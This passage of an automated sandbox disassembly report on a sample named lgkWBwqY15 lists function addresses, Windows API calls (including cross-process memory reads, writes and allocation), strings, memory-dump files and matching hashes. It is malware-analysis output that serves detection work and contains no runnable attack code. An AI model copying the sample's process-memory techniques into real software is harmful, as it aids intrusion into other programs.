                                                                                        • Part of subcall function 005E430B: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,005DBC08,?,?,00000034,00000800,?,00000034), ref: 005E4335
                                                                                      • SendMessageW.USER32(?,00001104,00000000,00000000), ref: 005DC1D3
                                                                                        • Part of subcall function 005E42D6: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,005DBC37,?,?,00000800,?,00001073,00000000,?,?), ref: 005E4300
                                                                                        • Part of subcall function 005E422F: GetWindowThreadProcessId.USER32(?,?), ref: 005E425A
                                                                                        • Part of subcall function 005E422F: OpenProcess.KERNEL32(00000438,00000000,?,?,?,005DBBCC,00000034,?,?,00001004,00000000,00000000), ref: 005E426A
                                                                                        • Part of subcall function 005E422F: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,005DBBCC,00000034,?,?,00001004,00000000,00000000), ref: 005E4280
                                                                                      • SendMessageW.USER32(?,00001111,00000000,00000000), ref: 005DC240
                                                                                      • SendMessageW.USER32(?,00001111,00000000,00000000), ref: 005DC28D
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
                                                                                      • String ID: @
                                                                                      • API String ID: 4150878124-2766056989
                                                                                      • Opcode ID: eee2917a02dcfc2e8e2a7c30b7ad8ccc0fe4712e558e6e89377d1c69d58d6de4
                                                                                      • Instruction ID: 538e6ae05b8131e44a720aa23210977bbdefbd601ba03a214fb8dbea4a791197
                                                                                      • Opcode Fuzzy Hash: eee2917a02dcfc2e8e2a7c30b7ad8ccc0fe4712e558e6e89377d1c69d58d6de4
                                                                                      • Instruction Fuzzy Hash: 14413B76900219AFDB14DFA8CD85AEEBBB8FB49300F104096FA85B7181DA716E45CB61
                                                                                      Function 0060A63F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 110COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,?,?,SysTreeView32,0063DC00,00000000,?,?,?,?), ref: 0060A6D8
                                                                                      • GetWindowLongW.USER32 ref: 0060A6F5
                                                                                      • SetWindowLongW.USER32(?,000000F0,00000000), ref: 0060A705
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Window$Long
                                                                                      • String ID: SysTreeView32
                                                                                      • API String ID: 847901565-1698111956
                                                                                      • Opcode ID: 9ca17fa345e6f6f61f366f20f7cca5a4ac0b20f63552bef88b4e4844700628a6
                                                                                      • Instruction ID: c1d45e00cbc64d0650338d22eecfd14be59f7b849ee026a616326432b89dc758
                                                                                      • Opcode Fuzzy Hash: 9ca17fa345e6f6f61f366f20f7cca5a4ac0b20f63552bef88b4e4844700628a6
                                                                                      • Instruction Fuzzy Hash: 4731DE35240606AFDB258F78CC45BEB7BAAFB493A4F244725F875932E0C771AC518B50
                                                                                      Function 005F5180 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 96networkCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • _memset.LIBCMT ref: 005F5190
                                                                                      • InternetCrackUrlW.WININET(?,00000000,00000000,?), ref: 005F51C6
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: CrackInternet_memset
                                                                                      • String ID: |$D_
                                                                                      • API String ID: 1413715105-1733003236
                                                                                      • Opcode ID: 5378bc44824a679124f2974f48af579b15093c23d82525af6e9edf7dbc9a4660
                                                                                      • Instruction ID: bfc5677a7503a70eed6e42b77c9286686d5634e4fc1091d71041d30eac62797d
                                                                                      • Opcode Fuzzy Hash: 5378bc44824a679124f2974f48af579b15093c23d82525af6e9edf7dbc9a4660
                                                                                      • Instruction Fuzzy Hash: 5A311975C0011AABCF11AFA4CD85AEEBFB9FF55700F000159EA15A6166EA35A906CBA0
                                                                                      Function 0060A0D6 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 89windowCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • SendMessageW.USER32(00000000,00001009,00000000,?), ref: 0060A15E
                                                                                      • SetWindowPos.USER32(?,00000000,?,?,?,?,00000004), ref: 0060A172
                                                                                      • SendMessageW.USER32(?,00001002,00000000,?), ref: 0060A196
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: MessageSend$Window
                                                                                      • String ID: SysMonthCal32
                                                                                      • API String ID: 2326795674-1439706946
                                                                                      • Opcode ID: 28e3e7cbbf895b2a3b74e7b0723a50c212ce0b76770469de3d8f61565659c0c8
                                                                                      • Instruction ID: 3d585b91d2fd4a2be1c0668c9d0a25bfbdd336aa98440d023996d53646fb141b
                                                                                      • Opcode Fuzzy Hash: 28e3e7cbbf895b2a3b74e7b0723a50c212ce0b76770469de3d8f61565659c0c8
                                                                                      • Instruction Fuzzy Hash: 1A21EF32540218ABEF158FA4CC46FEB3B7AFF48754F100214FA55AB1D0D6B1AC55CBA0
                                                                                      Function 0060A88A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 88windowCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • SendMessageW.USER32(00000000,00000469,?,00000000), ref: 0060A941
                                                                                      • SendMessageW.USER32(00000000,00000465,00000000,80017FFF), ref: 0060A94F
                                                                                      • DestroyWindow.USER32(00000000,00000000,?,?,?,00000000,msctls_updown32,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 0060A956
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: MessageSend$DestroyWindow
                                                                                      • String ID: msctls_updown32
                                                                                      • API String ID: 4014797782-2298589950
                                                                                      • Opcode ID: 0b3dcd7fb4a6789d32ecbe3ab4791ebf1dcf9c7608da93730845f3a971d9953b
                                                                                      • Instruction ID: d6659c62111d7776fbad783ea909847704edf8274aae2c8de4d4c08d34346aaa
                                                                                      • Opcode Fuzzy Hash: 0b3dcd7fb4a6789d32ecbe3ab4791ebf1dcf9c7608da93730845f3a971d9953b
                                                                                      • Instruction Fuzzy Hash: 622192B5640209AFDB14DF68CC91DA737AEEF5A394B050459FA059B3A1CB70EC12CB61
                                                                                      Function 006099A5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • SendMessageW.USER32(00000000,00000180,00000000,?), ref: 00609A30
                                                                                      • SendMessageW.USER32(?,00000186,00000000,00000000), ref: 00609A40
                                                                                      • MoveWindow.USER32(?,?,?,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 00609A65
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: MessageSend$MoveWindow
                                                                                      • String ID: Listbox
                                                                                      • API String ID: 3315199576-2633736733
                                                                                      • Opcode ID: 5d91f64be1a8f7a5b0c6d3ade22617f099a96cfc5e02fa0a41c3f4a7af652e20
                                                                                      • Instruction ID: 6fde4d8b1397092f037120c448ebaf268c4ae474f9a5111e27bc93ab30ac8a9b
                                                                                      • Opcode Fuzzy Hash: 5d91f64be1a8f7a5b0c6d3ade22617f099a96cfc5e02fa0a41c3f4a7af652e20
                                                                                      • Instruction Fuzzy Hash: 4E21C232651118BFDB258F54CC85EFB3BABEF89750F018128F9449B2D1CA719C52C7A0
                                                                                      Function 005C2287 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 24libraryloaderCOMMONLIBRARYCODE
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoInitialize,005C2350,?), ref: 005C22A1
                                                                                      • GetProcAddress.KERNEL32(00000000), ref: 005C22A8
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: AddressLibraryLoadProc
                                                                                      • String ID: RoInitialize$combase.dll
                                                                                      • API String ID: 2574300362-340411864
                                                                                      • Opcode ID: d232f0df5f3e81a126ce71dce1f3848f5bd7d8a31adb211fa8bcbe482a58e87c
                                                                                      • Instruction ID: 9c90d7e639f277495fcdb74044e240a0d03f9f70d7e0c10213f0d19e6b69b933
                                                                                      • Opcode Fuzzy Hash: d232f0df5f3e81a126ce71dce1f3848f5bd7d8a31adb211fa8bcbe482a58e87c
                                                                                      • Instruction Fuzzy Hash: 3BE0E5746A0711ABEB609FA0EC4AB163A67B705706F506424F202D50E0DBF54841CF04
                                                                                      Function 005C235C Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19libraryloaderCOMMONLIBRARYCODE
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoUninitialize,005C2276), ref: 005C2376
                                                                                      • GetProcAddress.KERNEL32(00000000), ref: 005C237D
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: AddressLibraryLoadProc
                                                                                      • String ID: RoUninitialize$combase.dll
                                                                                      • API String ID: 2574300362-2819208100
                                                                                      • Opcode ID: 9d217cb1e954050ab091c95c2f79664663027c906fbd7e59f1df2bad18059fe7
                                                                                      • Instruction ID: 8e7fdeb66b14508d71c2c68a6dac75b3e2c2f2d035ff5f8fdeee7860384e9a81
                                                                                      • Opcode Fuzzy Hash: 9d217cb1e954050ab091c95c2f79664663027c906fbd7e59f1df2bad18059fe7
                                                                                      • Instruction Fuzzy Hash: A7E0B670555700EFEB21AFE0ED0DF067A67B711B0BF112424F209D20B0CBF954108B14
                                                                                      Function 0061AC59 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 17timeCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: LocalTime__swprintf
                                                                                      • String ID: %.3d$WIN_XPe
                                                                                      • API String ID: 2070861257-2409531811
                                                                                      • Opcode ID: a3d69f888dc1153bee0ad75ca8045d509fe2660fac4987f5ae8876ee0dbb5b41
                                                                                      • Instruction ID: 96d7989682d116ebb44970497945ed2aa2ee09fcf85c8db9d83e9c88645fdfd9
                                                                                      • Opcode Fuzzy Hash: a3d69f888dc1153bee0ad75ca8045d509fe2660fac4987f5ae8876ee0dbb5b41
                                                                                      • Instruction Fuzzy Hash: 61E01271806A19DBCB10D7D0CD05DF973BEA704741F1804D2F906A1004E6359BCAAA62
                                                                                      Function 00602205 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • LoadLibraryA.KERNEL32(kernel32.dll,?,006021FB,?,006023EF), ref: 00602213
                                                                                      • GetProcAddress.KERNEL32(00000000,GetProcessId), ref: 00602225
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: AddressLibraryLoadProc
                                                                                      • String ID: GetProcessId$kernel32.dll
                                                                                      • API String ID: 2574300362-399901964
                                                                                      • Opcode ID: 9603666b269acec2ba21c69ee8e4225b621359fdf4c8afd711ade0d2babd0aa3
                                                                                      • Instruction ID: da081690566a781aa413215ac321d616fb9691db8c62e5d2286683f9faa610d3
                                                                                      • Opcode Fuzzy Hash: 9603666b269acec2ba21c69ee8e4225b621359fdf4c8afd711ade0d2babd0aa3
                                                                                      • Instruction Fuzzy Hash: B6D0A7B4450B13AFD7354F70FC1C68276D7EF05305F129419EC81E2690EB70DC888650
                                                                                      Function 005A42F6 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • LoadLibraryA.KERNEL32(kernel32.dll,00000000,005A42EC,?,005A42AA,?), ref: 005A4304
                                                                                      • GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 005A4316
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: AddressLibraryLoadProc
                                                                                      • String ID: Wow64RevertWow64FsRedirection$kernel32.dll
                                                                                      • API String ID: 2574300362-1355242751
                                                                                      • Opcode ID: d6b0d66bcffae8618fcd04d188bb79440bf0a9e82022512e1ab257610e14ef1d
                                                                                      • Instruction ID: b2fa5f60a758c07f410f1cd7ce57be11121fc3917b2c990d57fea743e4b58504
                                                                                      • Opcode Fuzzy Hash: d6b0d66bcffae8618fcd04d188bb79440bf0a9e82022512e1ab257610e14ef1d
                                                                                      • Instruction Fuzzy Hash: 04D0A770400B139FDF304F64EC0C6497AD5BB05702F11881AE841D2660E7F0C8C48A10
                                                                                      Function 005A434B Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • LoadLibraryA.KERNEL32(kernel32.dll,005A41BB,005A4341,?,005A422F,?,005A41BB,?,?,?,?,005A39FE,?,00000001), ref: 005A4359
                                                                                      • GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 005A436B
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: AddressLibraryLoadProc
                                                                                      • String ID: Wow64DisableWow64FsRedirection$kernel32.dll
                                                                                      • API String ID: 2574300362-3689287502
                                                                                      • Opcode ID: d2a298210e24a33115136a93953537bbc1ce3efc08cf843503715cf46308ae06
                                                                                      • Instruction ID: 9483f80661f760e11de1e8fcc38112c1c9404cd8a52d5d84c847aac4db6928c8
                                                                                      • Opcode Fuzzy Hash: d2a298210e24a33115136a93953537bbc1ce3efc08cf843503715cf46308ae06
                                                                                      • Instruction Fuzzy Hash: ABD0A770400B13AFDB308F70EC0C6467AD5BB11716F21881AE8D1D2650E7F0D8C48A10
                                                                                      Function 005E0564 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • LoadLibraryA.KERNEL32(oleaut32.dll,00000000,005E052F,?,005E06D7), ref: 005E0572
                                                                                      • GetProcAddress.KERNEL32(00000000,UnRegisterTypeLibForUser), ref: 005E0584
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: AddressLibraryLoadProc
                                                                                      • String ID: UnRegisterTypeLibForUser$oleaut32.dll
                                                                                      • API String ID: 2574300362-1587604923
                                                                                      • Opcode ID: 0cf6ef555b990eab72d32a8ca407ea56c02bfbed7d3911aa954c52e6968854ba
                                                                                      • Instruction ID: 45d58eb6edec437b4e5026db92bdc40ce2db47115b0e366567eab30b33c5082c
                                                                                      • Opcode Fuzzy Hash: 0cf6ef555b990eab72d32a8ca407ea56c02bfbed7d3911aa954c52e6968854ba
                                                                                      • Instruction Fuzzy Hash: 98D05E304407129AD7205F21E808A427BE5AB06301F11946AECC1D2590D6B0C4C48A20
                                                                                      Function 005E0539 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • LoadLibraryA.KERNEL32(oleaut32.dll,?,005E051D,?,005E05FE), ref: 005E0547
                                                                                      • GetProcAddress.KERNEL32(00000000,RegisterTypeLibForUser), ref: 005E0559
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: AddressLibraryLoadProc
                                                                                      • String ID: RegisterTypeLibForUser$oleaut32.dll
                                                                                      • API String ID: 2574300362-1071820185
                                                                                      • Opcode ID: b0a07b0d7a92b7950583ea9bf7529ed29125edc5fb11dc3fee42d40323deaec2
                                                                                      • Instruction ID: b2bb49773541fb68cb444a7f581a3bbd365cb8b83d05692a1d9979f0edf90252
                                                                                      • Opcode Fuzzy Hash: b0a07b0d7a92b7950583ea9bf7529ed29125edc5fb11dc3fee42d40323deaec2
                                                                                      • Instruction Fuzzy Hash: 6FD0A730440B139FD7308F21F80C6417BE5BB11302F11D85EE886D2590D6B0C8C48A10
                                                                                      Function 005FECC8 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • LoadLibraryA.KERNEL32(kernel32.dll,?,005FECBE,?,005FEBBB), ref: 005FECD6
                                                                                      • GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 005FECE8
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: AddressLibraryLoadProc
                                                                                      • String ID: GetSystemWow64DirectoryW$kernel32.dll
                                                                                      • API String ID: 2574300362-1816364905
                                                                                      • Opcode ID: a973d3d456dea3cc5413d64a6f2ad7de952c37aafff2262dc5929019a556f36d
                                                                                      • Instruction ID: 0ba89a082c278a2b23f2dc7be25cd410df73adfe005901479e62329f11cb2c94
                                                                                      • Opcode Fuzzy Hash: a973d3d456dea3cc5413d64a6f2ad7de952c37aafff2262dc5929019a556f36d
                                                                                      • Instruction Fuzzy Hash: EED0A770400B239FDB305F60EC4D6527AE5BB00741F11841AFC45D2560DF74CC848620
